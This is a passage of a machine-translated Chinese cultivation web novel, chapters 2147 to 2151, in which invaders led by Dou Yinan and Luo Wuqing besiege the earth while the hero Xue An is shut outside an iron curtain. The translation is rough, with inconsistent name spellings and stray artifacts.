    Needless to say, their sudden appearance here is definitely not coming to renew the past, and Xue An is not on the earth at the moment. If it is a little careless, the consequences will be unimaginable.


    Just as she was terrified, she heard a sneer from the leading star boat.


    This laughter was illusory, and at the same time powerful, like the sound of Tiandilun, it made people have an urge to worship just by hearing it.


    Not to mention anything else, just this simple laughter has made countless strong people look disgraced.


    Zhuge Zang''s expression was even greener, and then he said every word: "The peak of the immortal Emperor?"


    "Hehe! As expected, Zhuge Zang, who is known as the number one fortune in the heavens, has a sharp vision!"


    As he said, a figure slowly emerged before Xingzhou, it was Dou Yin''an, the master of the tomb of Xuanming Mausoleum with a gloomy look.


    But unlike the previous embarrassment on the Tongmen battlefield, he can be said to be well dressed at this moment, and his whole body is even more earth-shattering.


    Not only that, but beside Dou Yinan, a man in an imperial robe also appeared.


    This person''s aura is not below Dou Yin''an at all, or even worse.


    Zhuge Zang took a deep breath, "Luo Ruthless!"


    The person who appeared in the back was the long-lost person, the Lord of the Imperial Palace, Luo Ruthless.


    He glanced at Zhuge Zang coldly, then swept over with disdain, and then overlooked the whole Zhongdu, a sullen and miserable smile gradually appeared at the corner of his mouth.


    "Is it just a little bit of a chicken? Tsk tsk, it seems that the lord is really too cautious. To deal with these ants, why bother three days, at most half a day!"


    "Hehe, the words of the Lord of the Fallen Palace are not correct! Since the Lord gave us three days, there must be consideration for the elderly!"


    "Let��s use these three days to relax. It just happens that Xue An��s family, relatives and friends are also on this earth. Let��s catch him and play around and kill him in front of Xue An. Beautiful?"


    Dou Yinan''s words can be described as extremely sinister and vicious, which shows how deeply he hates Xue An.


    After all, several of his avatars were cut by Xue An on the Tongmen battlefield, and at the same time he suffered some minor injuries, which caused him to fall short in the end, and his cultivation was always ruthless. How could this not make him angry.


    And Luo Wuqing couldn''t help laughing after hearing his words.


    "Okay, it''s reasonable! Isn''t Xue An''s servant extremely arrogant? Then let him know today, what is the end of offending the adults!"


    The two of them talked like this without any obstruction.


    So these words immediately spread throughout the entire hospital, the entire Zhongdu, and even the entire world.


    Suddenly.


    Almost everyone was angry.


    Because in the minds of many people, Xue An is an unquestionable god, and An Yan, as a family member of the gods, is an innocent existence.


    At this moment, the two of them dare to use such nasty and vicious words to wantonly insult Xue An''s family, which is equivalent to slap everyone''s face.


    At least many young and energetic people roared together.


    "Where did the madman dare to speak like this!"


    "Really, the **** person, the lord of the emperor, is really impatient!"


    All at once there were shouts.


    Dou Yinan watched with a smile, and stepped down suddenly.


    Boom!


    Under a single foot, the whole China and even most of China shook for it.


    The people who shouted to kill the sky before were directly shocked to the ground by the power of this foot.


    Then Dou Yinan laughed strangely.


    "An ant is an ant, and it should have the consciousness of an ant. Now this planet is already in the palm of my hand. Now I kneel down and I can spare you not to die!"


    After all, he proudly awaited everyone''s submission.


    Because in his opinion, in front of his own almost crushing power, anyone with a clear mind should know what to do.


    But he never expected that as soon as his words fell, he drew more shouts.


    "My little master only kneels to heaven and earth parents in his life. What are you worthy of making me kneel down?"


    "Yes, I''m bragging about something in my palm. Be careful that Mr. Xue comes back and chopped you all into meat sauce!"


    These remarks made Dou Yin''an''s eyelids beating frantically, and he could no longer contain the anger in his heart and waved his hand.


    "All strike out, I want everyone on this planet to die after they have tasted thousands of pains!"


    boom!


    The brilliance flickered in the star boat behind him, and Xuan Mingling''s spirit was exhausted, descending from the sky mightily, and went straight to kill everyone.


    Luo Ruqing sneered when he saw it, "It looks like we don''t need to do it anymore!"


    But as soon as his words fell, UU read and saw a black light across the sky at an extremely fast speed, and then less than half of the elite group of Xuan Ming Ling disappeared into the darkness.


    Dou Yinan was shocked, "Who?"


    Wearing a black dress, Fan Mengxue, who is like the queen of darkness, slowly walked out of the darkness, saying in a cold voice: "No matter who you are, get out now!"


    "The power of darkness? The disciples of Tianzhuna? Ha ha, that''s really interesting! But with you, a little fairy king, do you really think you can turn out how much storms?"


    Dou Yinan gave a weird laugh, and the power of the peak immortal emperor rushed towards Fan Mengxue like a stormy sea.


    But at this moment, countless ice crystals quickly condensed in front of Fan Mengxue, blocking each layer, and finally resisting the violent power.


    Then Tang Xuan''er appeared beside Fan Mengxue, swept her ears and her temples, and said in a gentle but firm tone.


    "And I!"

 Chapter 2147： Desperate situation

    Dou Yinan was taken aback for a moment, and even laughed, "The fairy king in a mere half-step, dare to be presumptuous in front of me? But he looks really good, just to enjoy it!"


    With that said, he went straight to Tang Xuan''er.


    Tang Xuan''er snorted coldly, and Yuqing Zizai Zhenju was urged to its extreme. Numerous ice crystals appeared in an instant, trying to stop Dou Yinan who was rushing towards him.


    But the difference in strength is so big that it can''t be made up with any skills at all.


    In just an instant, Dou Yinan smashed the ice crystal barriers and came to Tang Xuan''er, then smiled grinningly and stretched out his hand to try to control Tang Xuan''er.


    But before his palm touched Tang Xuan''er''s clothes, a high-pitched dragon chant suddenly came out.


    "I see who dares to bully sister Xuan''er!"


    Following the voice, a figure flew quickly, and caught Dou Yinan''s palm within a short period of time.


    It is Xiaosha!


    Boom!


    After a muffled sound, Dou Yin''an didn''t move, but Xiao Sha was shocked and flew hundreds of feet away.


    Nevertheless, because of this momentary obstruction, Tang Xuan''er was finally out of danger temporarily.


    Dou Yinan was extremely angry when he saw this, "A little loach, dare to spoil my good deeds?"


    As he said, he pointed out abruptly.


    boom!


    The majestic power instantly shattered the space in front of him, then penetrated through, appeared in front of Xiaosha, and pressed down.


    Although it seems that this finger is light and fluttering, it seems that it is not working at all.


    But if you press on Xiao Sha, Xiao Sha will be seriously injured if he is not dead.


    At this critical moment, a radiant light suddenly passed by at an extremely fast speed, and then Xiaosha disappeared in place, eluding the finger.


    Dou Yinan couldn''t help being taken aback, raising his eyes to look.


    But seeing the sky in the distance, Hua Guang stopped. After showing his figure, it was An Yan in alchemy armor.


    She slowly put down Xiao Sha in her arms, and then stared at Dou Yinan with cold eyes.


    "People who want to touch my mother, have you asked me?"


    Dou Yinan''s eyes narrowed slightly, and even Jiejie laughed strangely, "It turned out to be Xue An''s family member, hey, he looks really beautiful!"


    As he said, his greedy and evil gaze swept over An Yan.


    Xiaosha, who had just walked around the gate of the ghost gate, was furious when she saw it. He didn''t care about his own safety, and immediately yelled, and then revealed the original form of his body, blocking An Yan behind him.


    "My mistress, go away, I will deal with it here!"


    Even if arrogant as Xiaosha, he understands how far he is from the opponents.


    But she didn''t have the slightest hesitation or fear, because in her mind, everything was less important than the safety of the mistress.


    But Dou Yinan didn''t even have the interest to look at Xiaosha more, just waved his hand impatiently.


    Bang!


    Xiao Sha didn''t even have time to react, and was directly shocked by an inexplicable force.


    But at this moment, An Yan turned into a brilliant light, and came straight to Dou Yinan with a decisive attitude.


    The speed is so fast that it plows a deep chasm into the space where it passes.


    But in the face of such power, Dou Yinan just sneered disdainfully.


    "I haven''t gone to find you yet, you should come and die first, that''s good! Then I will catch you first and enjoy it!"


    When the words were over, Dou Yinan suddenly appeared violent Xuanming black energy, and instantly condensed into a cobweb-like rope, directly trapping An Yan who was rushing.


    In an instant, everyone in the world took a breath of air, and some even screamed.


    Fan Mengxue and Tang Xuan''er rushed up recklessly.


    Not only that, there are several Huaguang rushing towards Dou Yinan at a very fast speed in the Central Capital.


    Although one of them was not there yet, with a wave of his hand, countless weird Zergs suddenly appeared around Dou Yinan.


    It is An Qing!


    But nothing could stop Dou Yinan, and saw him grinning slowly and restraining the black energy of Xuan Ming in his hand.


    The rope net shrinks, making Anyan''s struggle space smaller and smaller.


    She was struggling to rush from left to right, but like a butterfly trapped in a net, she couldn''t break free.


    This scene even made many people''s eyes split.


    "Sister Yan!" A soft voice came.


    Then I saw a foxtail suddenly appearing behind Dou Yinan''s neck, and then suddenly curled up, trying to break Dou Yinan''s neck.


    But Dou Yinan just gave a cold snort, and the foxtail was directly shattered, and then a figure hiding in the void fainted and fell out.


    "Ying''er!" An Yan exclaimed in the rope net.


    It was Hu Ye''s younger sister who was knocked out by Dou Yinan, the princess of the Qingqiu Fox Country, Huying!


    Seeing her fall to the ground without knowing what happened, An Yan was heartbroken.


    At this moment, a tentacle suddenly appeared, rolled up Huying, and then hugged it in his arms.


    "Little fish..." An Yan said softly.


    At the moment, Zhang Xiaoyu is sweating profusely, because this is the limit she can make.


    With her strength, it is not easy to stand under Dou Yinan''s immortal emperor''s might, not to mention saving people!


    But even so, Zhang Xiaoyu still looked at Xue An anxiously, then opened his mouth and raised up his whole body and shouted: "Sister Yan, come on!"


    Bloodshot appeared in An Yan''s eyes, and both hands suddenly grasped the two ropes of Xuanming black energy.


    "Drive for me!"


    Following the roar, An Yan''s alchemy armor trembled like running water, and instantly rushed into An Yan''s arms.


    Click!


    Accompanied by a crisp sound, An Yan forcibly tore a big hole in the rope net, and then he was about to escape.


    But at this moment, Dou Yinan grinned and put out his hand and said, "Want to run? It''s not that easy!"


    When the words were over, his hand could already touch An Yan''s back.


    But at this moment, a huge compass suddenly appeared in front of An Yan''s back.


    As soon as the compass came out, it instantly reversed countless heaven and earth qi machine and flicked Dou Yinan''s hand out.


    Taking this opportunity, An Yan turned into a bright light and escaped directly from the sky.


    Dou Yinan''s expression turned gloomy for an instant, then he waved his hand to dissipate the black energy of Xuan Ming, stared at the compass in front of him, and said lightly.


    "Zhuge Zang, are you going to be nosy?"


    Following the voice, Zhuge Zang sighed softly, and then appeared from behind the compass.


    "Lord Dou Ling, I hope you can do it for yourself, let alone act recklessly against this earth, otherwise the consequences will be beyond your reach!"


    "Good for yourself? Are you talking about me?" Dou Yinan made a hoarse and unpleasant laugh as if he had heard a big joke.


    "Of course, and it''s not just you." Zhuge Zang looked ruthlessly, standing behind Dou Yinan, who had not said anything.


    "Also including all of you!"

 Chapter 2148： Half-step Xianzun Huaguo Dragon Vessel

    As soon as he said this, the corners of his unforgiving mouth gradually rose, revealing a hint of unpredictable smile.


    "Oh? And me? Then I really want to know, what are the consequences that even I can''t bear?"


    Zhuge Zang raised his head and looked at the sky like black iron, and said lightly.


    "Although I don''t know what method you used to block the earth, I think Xue An will come back soon. By then, have you ever thought about whether you can deal with the same immortal emperor?"


    Hearing that Xue An had also proved Dao Immortal Emperor, Dou Yin''an''s momentum shrank.


    Because he knew very well that Xue An was basically invincible at the same level as an existence who had been reincarnated and reincarnated as the Xianzun.


    He will never be his opponent.


    But at this moment, Luo Ruqing suddenly sneered.


    "Well said, if you don''t say it, I don''t even know that Xue An has already proved Dao Immortal Emperor! If this is the case, we who are both Immortal Emperor are indeed not his opponents!"


    Zhuge Zang couldn''t help but breathe a sigh of relief.


    In fact, his heart was always hanging, because he discovered that this group of people didn''t know what methods they used, and the communication between the entire earth and the outside world had been disconnected.


    In this case, in order to delay time, he could only move out of Xue An to make the group feel jealous.


    It seems to be somewhat effective now.


    But at this moment, I saw that Luo Ruqing''s face showed infinite pride.


    "But what if I am not the emperor, but a half-step immortal? Do you think, what else can he do?"


    As soon as this remark came out, whether it was Zhuge Zang or the global powerhouse, it was shocked.


    Nothing else, because the realm of Ban Bu Xian Zun is really terrifying.


    We must know that from ancient times to the present, although there are only a handful of immortal emperors, at least there are still some.


    But to take that final step and reach the Immortal Venerable, apart from Xue An, I had never heard of a second person who could do it before.


    At this moment, this Luo Ruqing said that he had been proving the Tao for half a step.


    How can this not be shocking.


    Although it is only a half-step Xianzun, you must know that at the level of Emperor Xiandi, the difference between one step and the strength is often far away.


    Seeing everyone''s eyes with infinite astonishment, Luo Ruqing was obviously very happy, and looked up to the sky and laughed.


    With the laughter, around the ruthless body, the momentum is completely boiling.


    The violent emperor''s aura is overwhelming, directly covering the entire earth.


    In an instant, the entire earth began to tremble slightly.


    The buildings closer to Luo Ruqing were razed to the ground by the supreme power in an instant.


    Everyone changed in color.


    The weaker person was directly suppressed to the ground, unable to even lift his head.


    The prestige of half-step Xianzun is so terrifying.


    Even Dou Yinan could only be forced to retreat a little bit helplessly, and then looked towards Luo Ruqing with envy.


    In an instant, Luo Ruqing seemed to be the emperor in charge of the entire world, behind which stood a virtual image of hundreds of thousands of feet, and then condescendingly looked down at Zhuge Zang.


    "Now, do you think I can afford this consequence?"


    With such an understatement of questioning, Zhuge Zang was directly shocked by dozens of miles away. After standing still, his complexion was flushed with abnormal flushes, and he was obviously injured.


    Seeing this scene, many people''s hearts sank to the bottom.


    You must know that Zhuge Zang is also the cultivation base of the Immortal King, but in front of Luo Ruqing, he is like a chicken dog, and he is directly injured without the opportunity to struggle.


    This gap in strength can be described as desperate.


    Luo Ruqing even sneered triumphantly, "Zhuge Zang, now kneel down and beg for mercy, and swear by the spirit to be my master, I can spare you not to die, otherwise, the whole planet will be buried for you!


    But at this moment, Zhuge Zang suddenly turned around and flew away.


    Luo Wuqing raised an eyebrow slightly, "Why? Want to run? Now that the entire planet is in my palm, where can you escape?"


    As he said, he stretched out his hand and patted it gently.


    boom!


    The almost condensed coercion enveloped the space for thousands of miles and pressed down on Zhuge Zang''s body.


    But before Zhang Wei fell, Zhuge Zang had fallen on a high mountain in the suburbs of Zhongdu.


    This mountain range extends from the main line of the dragon of the Chinese nation. It is vast and majestic, so it can conserve the place where the tigers and dragons are in the Central Capital.


    When Zhuge Zang appeared on the top of the main peak, the whole mountain trembled, and then countless brilliant lights appeared.


    Zhuge Zang stepped on his feet and quickly stippled with his fingers, and in an instant he drew an extremely complicated and mysterious talisman.


    Immediately afterwards, Zhuge Zang knelt to the ground abruptly, pressing the talisman seal in his hand and shouting at the same time.


    "Use the mountains and rivers of Huaguo!"


    In an instant, the entire Yanshan Mountain range began to tremble violently. The earth gas that had been lurking underground for tens of thousands of years was stimulated by the Zhuge Zang talisman. It immediately became active and expanded rapidly with the ups and downs of the mountains.


    At the same time, Zhuge Hanzang and Zhuge Xuanqing, who had been waiting here on the top of the Kunlun Mountains, immediately pressed down the talisman Zhuge Zang handed over to them after feeling the fluctuation of the earth''s atmosphere.


    boom!


    The starting place of the Chinese Ancestral Dragon''s main pulse also trembles, and a loud and extremely loud dragon chant is emitted from the depths of the earth, as if breaking away from the shackles of billions of years, making the mountains and rivers of China begin. Trembling.


    And under the seabed of the Far East, Wei Rulan also waited quietly holding the talisman handed to her by the master.


    When the dragon veins of the entire Chinese nation were activated, this submerged dragon that stretched from the coast of China to the seabed was also about to move.


    After feeling this, Wei Rulan immediately pressed down the Fu seal.


    Under these few points, in an instant, the entire country of China began to shake.


    The dragon energy that had been bound for countless years in the ground poured out, and even enveloped the entire land of China in a faint purple glow.


    This spectacle also shocked everyone.


    Once taught by Meng Xue An, the Feng Shui master Song Yi, who has guarded the Xiangjiang River for many years, almost fell to his knees after seeing this scene, and then looked at Zhuge Zang with infinite admiration, while murmured in excitement.


    "Activating the dragon veins of the entire Chinese nation, this...this is the real Feng Shui technique!"


    But Zhuge Zang did not feel the slightest relaxation.


    As early as when Dou Yinan and others first appeared, Zhuge Zang quietly ordered Zhuge Xuanqing and Wei Rulan to go everywhere with talisman seals to prepare.


    Because he knows this battle will never be good.


    But I never expected that Luo Ruqing had already proven the way for a half-step Xianzun!


    This virtually doubled the difficulty.


    really.


    Jian Luo Ruqing smiled coldly after seeing this scene.


    "What? You want to use this dragon vein and earth energy to restrain me and wait? You are so naive!"


    After all, Luo ruthlessly stepped on it, and the huge pressure instantly pushed down the entire Yanshan Mountain to a depth of 100 meters.


    Then he listened to him smirkingly laughing, "Now the entire planet is a plaything in my palm, let alone the feng shui trails in this tract?"


    But at this moment, Zhuge Zang suddenly spewed a mouthful of blood, and then the blood condensed into an ancient seal character in the air.


    Then Zhuge Zang roared, "Feng!"

 Chapter 2149： Mysterious Guanghua suppresses the mighty

    With an order, the sky full of dragon energy immediately turned into a torrent of torrents, frantically flooding into this ancient seal character.


    In an instant, this seal character swelled sharply, and stretched out countless threads, connecting it with the entire heaven and earth.


    Immediately afterwards, the whole earth began to tremble slightly.


    Along with this tremor, the Law of Heaven, which had become extremely weak due to the blockade of Luo Wuqing and Dou Yinan and others, immediately became strong.


    At the same time, an inexplicable and majestic force suddenly fell on Luo Wuqing and Dou Yinan.


    Luo Wuqing, Dou Yinan and the others felt that their bodies were sinking suddenly, and the power that was boiling began to decline.


    This is the result of the earth''s laws of heaven being frantically suppressing them.


    But facing this scene, Luo Ruqing just sneered.


    "Zhuge Zang, your Feng Shui technique is really good, but you still don''t understand what half-step Immortal Venerable is!"


    Following the voice, Luo ruthlessly shook his shoulder gently.


    Click!


    Accompanied by a burst of intensive explosions, the Law of Heaven that was originally suppressed on Luo Wuqing''s body was instantly shattered.


    And this kind of counterattack also caused the Huaguo Mountain Range, which had already reached its limit, to collapse.


    Rumble!


    The first to collapse was the main peak of Yanshan Mountain at the foot of Zhuge Zang.


    I saw smoke and dust everywhere, and the mountain peaks that had been drained of the dragon veins directly turned into yellow sand in the sky, which was dispersed with the wind.


    Not only that, the famous mountains and rivers of China are constantly collapsing.


    Upon seeing this, General Zhen Guo closed his eyes in despair, and then solemnly said: "Get ready to launch!"


    "Yes!"


    The entire headquarters immediately began to get busy, and everyone''s faces were full of determination.


    Because they know that this may be their last period in the world.


    In a few minutes, tens of thousands of special nuclear warheads will skyrocket.


    That is a complete destructive power, even the fairy king will fall.


    That would be the last bet of mankind, even if it can''t be exhausted, it will cost Luo Ruqing and others a painful price.


    But at this moment, I saw that at the top of the Kunlun main peak, a burst of brilliance suddenly burst out.


    This brilliance was extremely dim, as if it had gone through endless years and was about to dissipate.


    But as soon as it appeared, the Law of Heaven, which had already begun to collapse, seemed to have been injected with a shot of invigorating heart, and it completely recovered in an instant, and it was strengthened countless times.


    At this time, this brilliance was extremely weakened and became almost transparent, but despite this, it still rushed towards Luo Wuqing and others at a very fast speed.


    Before Luo Ruqing and others could react, this brilliance directly descended on them.


    Luo Wuqing and the others snorted together, and then his power began to shrink sharply.


    In the blink of an eye, they discovered to their horror that their strength was actually limited by more than 30%.


    Even if it was as strong as the half-step Xianzun''s Luo Ruthless, at the moment his expression was ashen.


    Because at this moment, although he is still half-step Xianzun in realm, his strength is only equivalent to an ordinary fairy king.


    And no matter how he searched for himself, he didn''t find any abnormality, as if some kind of power had added an invisible shackle to him.


    How could this not frighten him.


    And at this moment, Yue Qinghuan, who had been hidden in the darkness, couldn''t help but sigh slightly.


    "Hey, this brilliance..."


    With that, she quietly appeared on the main peak of Kunlun in the next second.


    After squatting down and feeling the soil with his hands, Yue Qinghuan''s face couldn''t help showing a strange color.


    "What kind of strength can support a divine mind to experience ten thousand years of immortality while still possessing such a powerful power?"


    At the same time, including Zhuge Zang, many powerful people on the earth felt the strangeness of Luo Wuqing and others.


    Zhuge Zang took the lead in reacting, and then he shouted in a deep voice: "Their strength has been forcibly restricted, and now we have the power to fight!"


    As soon as this statement was made, the world immediately boiled.


    The town country general who had been completely desperate at this time also slowly stood up, and then said in a deep voice: "If the order is passed on, all troops will immediately enter a state of war. The target... all invaders!"


    "Yes!"


    China was a sensation, and the strong people were even more excited.


    But at this time Luo Wuqing and Dou Yinan had also recovered from the shock.


    I saw Dou Yinan sneered and said: "Don''t be afraid, everyone, that force just now is obviously their last card, otherwise, why didn''t they directly kill me?"


    "And even if the strength is limited, dealing with this group of people will only take a little longer, so..."


    But before he finished speaking, Luo Wuqing had directly rushed to the many powerful men who rushed in. After one face to face, he flew several people, and then he coldly said.


    "Stop talking nonsense, get rid of these guys as soon as possible, otherwise, after three days, who will deal with Xue An?"


    As soon as he said this, Dou Yinan''s eyes couldn''t help flashing a hint of resentment and resentment, but he still closed his mouth obediently, and then rushed up.


    In an instant, a great battle began.


    But unlike the previous one-sided situation, the earth at this time has at least the power to protect itself, and even under the leadership of the major powers led by Zhuge Zang Fan Mengxue, it can still fight against Luo Wuqing and others. Back.


    But even so, many people''s hearts still mentioned their throats, and a big question mark could not help but pop up in their minds.


    Where is Mr. Xue?


    Why hasn''t he returned yet?


    Did something happen on the battlefield too?


    At the beginning of the battle, the two little girls, Xiangxiang and Niannian, were forcibly taken to a hidden bunker by Old Xie.


    It accommodates the old, the weak, the sick and the disabled, and the bunker is built through a special technique to provide a strong defense.


    But just under a ruthless foot, the bunker still collapsed in a corner.


    Now everyone is staring blankly at the boiling war in the sky.


    Old Xie''s face solemnly said: "I miss you, don''t run around here!"


    After saying this, he also flew up, UU reading brandished a kitchen knife and joined the battle group.


    Thinking and Nian''s little face is full of worry.


    "Why hasn''t Dad come back?"


    "Yeah! It would be great if Dad could come back, these bad guys will have to lose!"


    The two little girls talked in a low voice.


    At this moment, Yue Qinghuan''s figure suddenly appeared beside them, and couldn''t help but smile after hearing their conversation.


    "Don''t think about it, no matter how great your father is, it will take three days to appear on the earth!"


    "Why?" Thinking and Niannian immediately raised their head and asked.


    "Because..." Yue Qinghuan said lightly, staring at the sky like black iron.


    "In front of absolute rules, no matter how much you exist, you have to give way!"

 Chapter 2150： The iron curtain of rules "defeat is set"

    Missing Nian Nian looked towards the sky as if she didn''t understand, but soon she thought about it and whispered.


    "But I believe Dad is definitely different!"


    "Yes, Dad is omnipotent, he will definitely be able to come back as soon as possible!" Niannian waved her small fist.


    Yue Qinghuan shook his head and chuckles, then said lightly: "I hope it!"


    And that is, at the same moment, in space, only tens of thousands of miles away from Earth.


    Countless people looked at the dark iron curtain in front of them with solemn expressions.


    ������!


    After Chu Wuxiang raised his whole body strength and struck a few punches, the iron curtain did not even appear to be a ripple.


    In desperation, Chu Wuxiang had to shook his head.


    "No, I still can''t shake anything!"


    As he said, Chu Wuxiang looked at this iron curtain in amazement, "I don''t know what material this iron curtain is made of. How can it be so strong?"


    Ye Hanshang also came back dejected, "I have circled the whole earth dozens of times, and still haven''t found any flaws. Now the whole earth is like an egg wrapped in an eggshell, without breaking this iron curtain Can''t get in at all!"


    Everyone heard this is a commotion.


    "What should I do? Do you just watch it like this? Arouke is inside!" Hu Ye said almost madly.


    But as soon as his voice fell, he was grabbed by the Tianzha on the side, and at the same time he shook his head slightly, and pointed at Xue An, who was standing silent not far away.


    "Speak down!"


    Huye thought of something in an instant, and then smiled bitterly, "I understand that my sister-in-law and my two nieces are now in the earth, so I am so anxious!"


    At the same time, all the eyes of the audience focused on Xue An.


    People are looking forward to this man who has created countless miracles, can once again turn decay into a miracle, penetrate this iron curtain that does not know where it came from, and return to the earth.


    But this time, people could not wait to respond.


    Xue was standing there quietly, his eyes staying on the iron curtain in front of him.


    Gradually, the audience calmed down.


    After a long time, but seeing Xue An gently shook his head.


    "This iron curtain is formed by the power of rules. Any attack will fail in front of it, so it cannot be shaken."


    Tianzhe shook his whole body and blurted out, "Is it the same as the bronze mirror of the Lord of the Abyss before?"


    Xue An nodded and slowly said, "And it''s stronger than that, this time the power of the rules is perfect and almost impeccable!"


    As soon as this statement came out, everyone''s face became extremely ugly.


    Although I don''t know what the so-called power of rules is, it can be heard from Xue An''s tone.


    He was not sure about opening this iron curtain.


    "What do you do then? Will the earth be blocked forever?" Hu Ye said anxiously.


    "No, I can feel that there is a time limit when this iron curtain is set up, it should be three days!"


    "Three days? By then, the day lily will be cold!" Hu Ye said frantically, completely ignoring Tianzhe''s wink at him.


    Xue An''s eyes also showed a dignified look, "Yes! If you just wait for three days like this, it won''t make any sense even if you unlock it!"


    With that, Xue An stepped forward, came to the front of the iron curtain, and then stretched out his hand and gently pressed it against the iron curtain.


    The start was an extremely cold touch, but Xue An''s eyes suddenly burst, and the turbulent spirit instantly condensed into a sharp spike between his eyebrows, and then went straight down.


    But this sharp thorn, condensed with incomparably pure divine mind, melted away like ice and snow at the moment it touched the iron curtain, and disappeared into nothing.


    "Sure enough, it still doesn''t work!"


    Xue An seemed to have anticipated this, and said a little, then raised his head and looked at the iron curtain that enveloped the earth in a perfect arc.


    "Yan''er, wait and hold on for a while, I will come later!"


    After that, Xue An slowly closed his eyes, and the contact between his palm and the iron curtain immediately stretched out hundreds of thousands of hair-like brilliance, and completely wrapped the entire iron curtain.


    "What is Old Xue doing?" Hu Ye couldn''t help asking.


    Tianzhe looked at that face sinkingly, and slowly said, "I don''t know, but I guess he wants to penetrate this iron curtain through his extremely powerful spirit!"


    "How long will it take to succeed?"


    "do not know!"


    Fox Ye started to get crazy again, "I don''t know again, what about the earth? What about my sister-in-law, two nieces, and A Rou?"


    Ye Hanshang said quietly behind Huye at this time: "Is it useful to be anxious? Did you know that the more you do this, the greater the pressure on Old Xue!"


    "I know, but I''m still worried! After all, that''s a bunch of top powerhouses!" said Hu Ye crying without tears.


    Hu Huan suddenly appeared in front of everyone, and then said lightly: "In fact, you don''t have to worry so much. The earth is not as fragile as you think, and those strong will not easily admit defeat!"


    Hu Ye wanted to say something, but in the end he sighed slightly, then closed his mouth and looked at the earth with infinite hope.


    Everyone must hold on!


    Xiao Sha smashed the head of an elite Xuan Ming Ling with a palm, but at almost the same moment, the attack from the master of Human Emperor Palace also arrived.


    But at this moment a tentacle suddenly appeared, directly dragging Xiaosha aside.


    The attack of the Palace of Human Emperor failed, and in the next instant, the head of this master was screwed off by Xiao Sha.


    The two can be said to cooperate with each other!


    Then Xiao Sha rushed to the distant Octopus and gave a thumbs up.


    Octopus waved excitedly, "Yes!"


    But at this moment, someone yelled, "Slim yourself!"


    Bang!


    Behind Zhang Xiaoyu, a guard of the imperial palace who attacked was shaken to death.


    Then Ouyang Xiaoman appeared and said loudly: "Hey. At any rate, pay attention to your surroundings!"


    Zhang Xiaoyu waved his tentacles a little embarrassedly, "Thank you!"


    Ouyang Xiaoman waved his hand carelessly, "You are welcome!"


    As he said, he slammed forward again, yelling again and again.


    "Qi family, rule the country, peace the world!"


    All three cries out, all the invaders passing by all headshots.


    Zhang Xiaoyu shuddered, "This girl is really explosive. I really suspect that she is not from a college but from a family of butchers!"


    But partial victory cannot change the situation on the entire battlefield.


    At this moment, Fan Mengxue Zhuge Zang, An Yan and others have already felt the pressure is gradually increasing.


    The earth fell a little bit down again.


    "What''s going on? How come these people are getting stronger!" Fan Mengxue was shaken out of the distance, and then asked Zhuge Zang out of breath.


    "The seals on their bodies are failing little by little, and it is estimated that they will not last long!" Zhuge Zang''s complexion was also extremely ugly.


    "Then what to do?"


    As soon as the voice fell, Fan Mengxue was directly blown out.


    And where she stood before, Luo''s ruthless figure gradually emerged.


    "Haha, wait until the defeat is set, I see how long you can survive!"

 Chapter 2151： seal! Reseal!

    Fan Mengxue was shocked thousands of feet away, and she could barely stand still until An Yan rushed forward to catch her.


    "Mengxue, how are you?" An Yan asked anxiously.


    Fan Mengxue waved her hand to indicate that she was okay, but following her movements, a trace of blood slowly oozes down the corners of her mouth, apparently suffering a serious injury.


    Despite this, her brows and eyes were still full of coldness, and then she stared coldly and ruthlessly.


    "The word that the defeat is determined, let''s leave it to you!"


    When the words fell, Fan Mengxue''s figure suddenly shook, then turned into a black mist, and rushed towards Luo Ruqing.


    Luo ruthlessly sneered, "I really don''t regret it!"


    Then he waved casually.


    Boom!


    After a loud noise, Fan Mengxue''s black mist almost dissipated, and her figure even fell out.


    But at this moment, Fan Mengxue suddenly shouted.


    "It''s now!"


    With that, the black mist around her immediately turned into a rope, entangled Luo''s merciless hands and feet.


    At the same time, behind Luo Ruqing''s body, Tang Xuan''er showed up and pierced the back of Luo Ruqing''s head.


    This blow condensed Tang Xuan''er''s whole body strength, and came to the back of her head ruthlessly with lightning speed.


    Luo Ruqing was shocked and wanted to fight back, but then Fan Mengxue firmly trapped his hands and feet.


    Unprepared, Luo ruthlessly roared.


    "Bitch is looking for death!"


    When the words were over, a huge seal of the imperial man appeared on top of Luo Ruxin''s head, and emitted billions of light, covering Luo Ruxin.


    Bang bang bang!


    Fan Mengxue''s black light disappeared as the light passed by, shaking it back.


    And after Tang Xuan''er''s blow touched these tiny rays of light, all the offensives dissipated in an instant, and then they were shaken out.


    "Goddess Fan!"


    "Goddess Xuaner!"


    This scene spread across the world instantly through live footage, and countless people exclaimed.


    The eyes of those present were even more distraught, especially one person shouted.


    "I dare to hurt someone I like, I''m fighting with you today!"


    With the words, but saw a bright sword light booming, piercing down mercilessly.


    But this level of attack was ruthless and didn''t even look at it at all, just a casual wave, the sword light was shattered, and then the person who came back flew out at a faster speed than before.


    But soon there were several sword lights rushing to save this person.


    "Old Tao, how is it?" Ye Kongming asked.


    Tao Zhuxing wiped the blood from the corner of his mouth, "Don''t worry, you can''t die!"


    Ding Xiaochen, who was on the side, couldn''t help but stretched out his thumb, and exclaimed, "Lao Tao, you were really awesome just now, so you dare to attack the emperor for a woman!"


    Ye Kongming also nodded, "I didn''t expect this guy to be so courageous!"


    That''s right!


    The person who just released the sword is Tao Zhuxing, the young master of the Bamboo Sword Sect.


    And the ones who rescued him were Ye Bufan''s grandson Ye Kongming and Ding Xiaochen, a descendant of Chenguangshan, and others.


    They all returned to the earth to recuperate because they were injured on the battlefield of the Pure Land Buddha Kingdom.


    But I didn''t expect this to happen soon after I came back.


    However, the young Jian Xiu gang of fresh clothes and angry horses didn''t have any fear, but directly began to face hard with the people in the Palace of the Emperor Xuan Ming Ling and others.


    And this Tao Zhuxing has always admired Fan Mengxue, so he became angry just after seeing Fan Mengxue''s injury, knowing that he was lost, and attacked.


    Although he lost unexpectedly, his blow also bought Fan Mengxue, Tang Xuan''er and others breathing time.


    Therefore, after Fan Mengxue stood still, she couldn''t help but nodded slightly towards Tao Zhuxing, as a gesture of gratitude.


    Tao Zhuxing grinned when he saw it, and instantly felt that the injuries on his body were all over.


    In fact, he knew very well that it was impossible for him to get any response to his love, because he had seen Fan Mengxue look at Xue An in his eyes when he was in the Sword Palace Star Domain.


    That was something he would never be able to achieve in his life.


    But he is still willing to do so.


    In his own words, Xiaoye just likes her. As for whether she likes me or not, that''s her business, not me.


    But at this moment, Luo Ruqing, the aura of Dou Yinan and others suddenly soared.


    Immediately afterwards, she looked up to the sky and laughed ruthlessly, "The seal will disappear completely soon, I see how long you can hold on!"


    Following the voice, a huge human emperor''s face suddenly appeared behind Jian Luo Wuqing.


